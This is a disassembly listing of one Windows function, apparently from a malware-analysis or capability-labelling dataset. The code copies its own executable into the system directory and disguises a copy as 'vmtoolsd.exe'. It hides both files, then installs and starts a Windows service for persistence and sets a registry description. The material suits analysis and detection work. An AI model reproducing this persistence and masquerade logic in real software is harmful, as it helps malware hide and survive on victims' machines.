Function at 0x409c90
Capabilities:
Copy file
Create service
Get common file path
Persist via windows service
Set file attributes
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4187c8
push 0x40c79c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffc50
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x11c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [ebp - 0x220]
push edx
call fcn.0040c8e0
add esp, 4
push eax
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x220]
push ecx
call fcn.0040d9c0
add esp, 0xc
test eax, eax
je 0x409e14
push 0x50
lea edx, [ebp - 0x270]
push edx
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.comdlg32.dll_GetFileTitleA]
push str..exe
lea ecx, [ebp - 0x270]
push ecx
call fcn.0040d860
add esp, 8
test eax, eax
jne 0x409d64
push str..EXE
lea edx, [ebp - 0x270]
push edx
call fcn.0040d860
add esp, 8
test eax, eax
jne 0x409d64
push str..exe
lea eax, [ebp - 0x270]
push eax
call fcn.0040ce20
add esp, 8
push 0x418768
lea ecx, [ebp - 0x220]
push ecx
call fcn.0040ce20
add esp, 8
lea edx, [ebp - 0x220]
push edx
push 0xd400dc
call fcn.0040ce10
add esp, 8
push str.vmtoolsd.exe
push 0xd400dc
call fcn.0040ce20
add esp, 8
lea eax, [ebp - 0x270]
push eax
lea ecx, [ebp - 0x220]
push ecx
call fcn.0040ce20
add esp, 8
push 0
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0xd400dc
lea ecx, [ebp - 0x11c]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x104
push 0
lea edx, [ebp - 0x11c]
push edx
call fcn.0040c880
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x11c]
push ecx
call fcn.0040ce10
add esp, 8
mov dword [0xd401e0], 1
push 6
lea edx, [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 6
push 0xd400dc
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 0x378], 0
mov dword [ebp - 0x37c], 0
mov dword [ebp - 0x380], 0
mov dword [ebp - 4], 0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0
jne 0x409e78
jmp 0x409f7c
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x11c]
push eax
push 0
push 2
push 0x10
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x380]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
jne 0x409f00
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x409f00
push 0xf01ff
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x380]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
jne 0x409eef
jmp 0x409f7c
push 0
push 0
mov eax, dword [ebp - 0x37c]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0
push 0
mov ecx, dword [ebp - 0x37c]
push ecx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x409f17
jmp 0x409f7c
push str.SYSTEMCurrentControlSetServices_
lea edx, [ebp - 0x374]
push edx
call fcn.0040ce10
add esp, 8
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x374]
push ecx
call fcn.0040ce20
add esp, 8
lea edx, [ebp - 0x378]
push edx
lea eax, [ebp - 0x374]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov edx, dword [ebp + 0x10]
push edx
push 1
push 0
push str.Description
mov eax, dword [ebp - 0x378]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 4], 0xffffffff
call fcn.00409f8a
jmp 0x409fcd
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret